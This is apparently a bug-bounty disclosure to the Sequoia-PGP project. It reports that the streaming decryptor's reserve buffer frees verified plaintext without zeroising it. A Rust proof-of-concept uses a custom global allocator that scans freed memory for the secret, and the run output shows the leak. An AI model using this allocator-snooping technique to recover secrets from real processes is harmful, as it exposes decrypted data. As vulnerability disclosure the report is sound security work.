[#YWH-PGM8724-140] Streaming decryptor's reserve buffer retains verified plaintext
## Streaming decryptor's reserve buffer retains verified plaintext `parse::stream::Decryptor` withholds up to `buffer_size` bytes of literal data until all surrounding signatures have been processed. Once the parser reaches EOF, it calls `PacketParser::steal_eof` to stash the verified tail into `self.reserve`, which is just a `Vec<u8>` containing the plaintext payload.【F:openpgp/src/parse/stream.rs†L2637-L2661】【F:buffered-reader/src/lib.rs†L812-L859】 Subsequent reads drain slices out of this vector while advancing `self.cursor`, but the code never zeroises the backing allocation nor swaps the `Vec` out once it has been fully consumed—the field simply lives inside the decryptor until drop.【F:openpgp/src/parse/stream.rs†L2974-L3002】 When `Decryptor` is dropped, the allocator receives a freed chunk that still holds whatever data was buffered for verification, leaking post-processed plaintext to any in-process observer. ## Proof of Concept - Tested on Ubunto Save payload to `/sequoia/openpgp/examples/POC.rs` and can be executed in sequoia's main directory via `cargo run --no-default-features --features "crypto-rust,allow-experimental-crypto,allow-variable-time-crypto" --example POC` ````rust use std::alloc::{GlobalAlloc, Layout, System}; use std::io::Read; use std::sync::atomic::{AtomicBool, Ordering}; use openpgp::crypto::SessionKey; use openpgp::packet::{PKESK, SKESK}; use openpgp::parse::stream::{DecryptionHelper, DecryptorBuilder, MessageStructure, VerificationHelper}; use openpgp::parse::Parse; use openpgp::policy::StandardPolicy; use openpgp::types::SymmetricAlgorithm; use openpgp::{Cert, KeyHandle, Result}; use sequoia_openpgp as openpgp; const SECRET: &[u8] = b"Hello World!"; static LEAKED: AtomicBool = AtomicBool::new(false); struct SnoopingAlloc; unsafe impl GlobalAlloc for SnoopingAlloc { unsafe fn alloc(&self, layout: Layout) -> *mut u8 { System.alloc(layout) } unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) { if layout.size() >= SECRET.len() { let leaked = std::slice::from_raw_parts(ptr, layout.size()); if leaked.windows(SECRET.len()).any(|window| window == SECRET) { eprintln!( "allocator observed decrypted reserve: {}", String::from_utf8_lossy(SECRET) ); LEAKED.store(true, Ordering::Relaxed); } } System.dealloc(ptr, layout); } } #[global_allocator] static A: SnoopingAlloc = SnoopingAlloc; struct Helper; impl VerificationHelper for Helper { fn get_certs(&mut self, _ids: &[KeyHandle]) -> Result<Vec<Cert>> { Ok(Vec::new()) } fn check(&mut self, _structure: MessageStructure<'_>) -> Result<()> { Ok(()) } } impl DecryptionHelper for Helper { fn decrypt( &mut self, _pkesks: &[PKESK], skesks: &[SKESK], _sym_algo: Option<SymmetricAlgorithm>, decrypt: &mut dyn FnMut(Option<SymmetricAlgorithm>, &SessionKey) -> bool, ) -> Result<Option<Cert>> { let (algo, session_key) = skesks[0].decrypt(&"streng geheim".into())?; decrypt(algo, &session_key); Ok(None) } } fn main() -> openpgp::Result<()> { let policy = &StandardPolicy::new(); let helper = Helper; let message = b"-----BEGIN PGP MESSAGE----- wy4ECQMIY5Zs8RerVcXp85UgoUKjKkevNPX3WfcS5eb7rkT9I6kw6N2eEc5PJUDh 0j0B9mnPKeIwhp2kBHpLX/en6RfNqYauX9eSeia7aqsd/AOLbO9WMCLZS5d2LTxN rwwb8Aggyukj13Mi0FF5 =OB/8 -----END PGP MESSAGE-----"; let mut decryptor = DecryptorBuilder::from_bytes(&message[..])? .with_policy(policy, None, helper)?; let mut recovered = Vec::new(); decryptor.read_to_end(&mut recovered)?; assert_eq!(recovered, SECRET); // Zeroize the buffer for byte in &mut recovered { *byte = 0; } drop(recovered); drop(decryptor); assert!( LEAKED.load(Ordering::Relaxed), "reserve buffer contents not observed" ); Ok(()) } ``` Result in Ubunto : ```` ![image.png](/uploads/671fe6e1ebdfa1df8d1807ecc9fac6cb/image.png){width="900" height="402"} ````rust ```bash warning: `sequoia-openpgp` (lib) generated 29 warnings (run `cargo fix --lib -p sequoia-openpgp` to apply 29 suggestions) Finished `dev` profile [unoptimized + debuginfo] target(s) in 11.31s warning: the following packages contain code that will be rejected by a future version of Rust: num-bigint-dig v0.8.4 note: to see what the problems were, use the option `--future-incompat-report`, or run `cargo report future-incompatibilities --id 1` Running `target/debug/examples/O` allocator observed decrypted reserve: Hello World! allocator observed decrypted reserve: Hello World! allocator observed decrypted reserve: Hello World! allocator observed decrypted reserve: Hello World! allocator observed decrypted reserve: Hello World! ``` ## Impact: Any consumer that decrypts sensitive messages under the default policy leaks an entire `buffer_size` window (25 MiB by default) of plaintext every time the decryptor is dropped, regardless of whether the caller ever requested zeroisation. ````
issue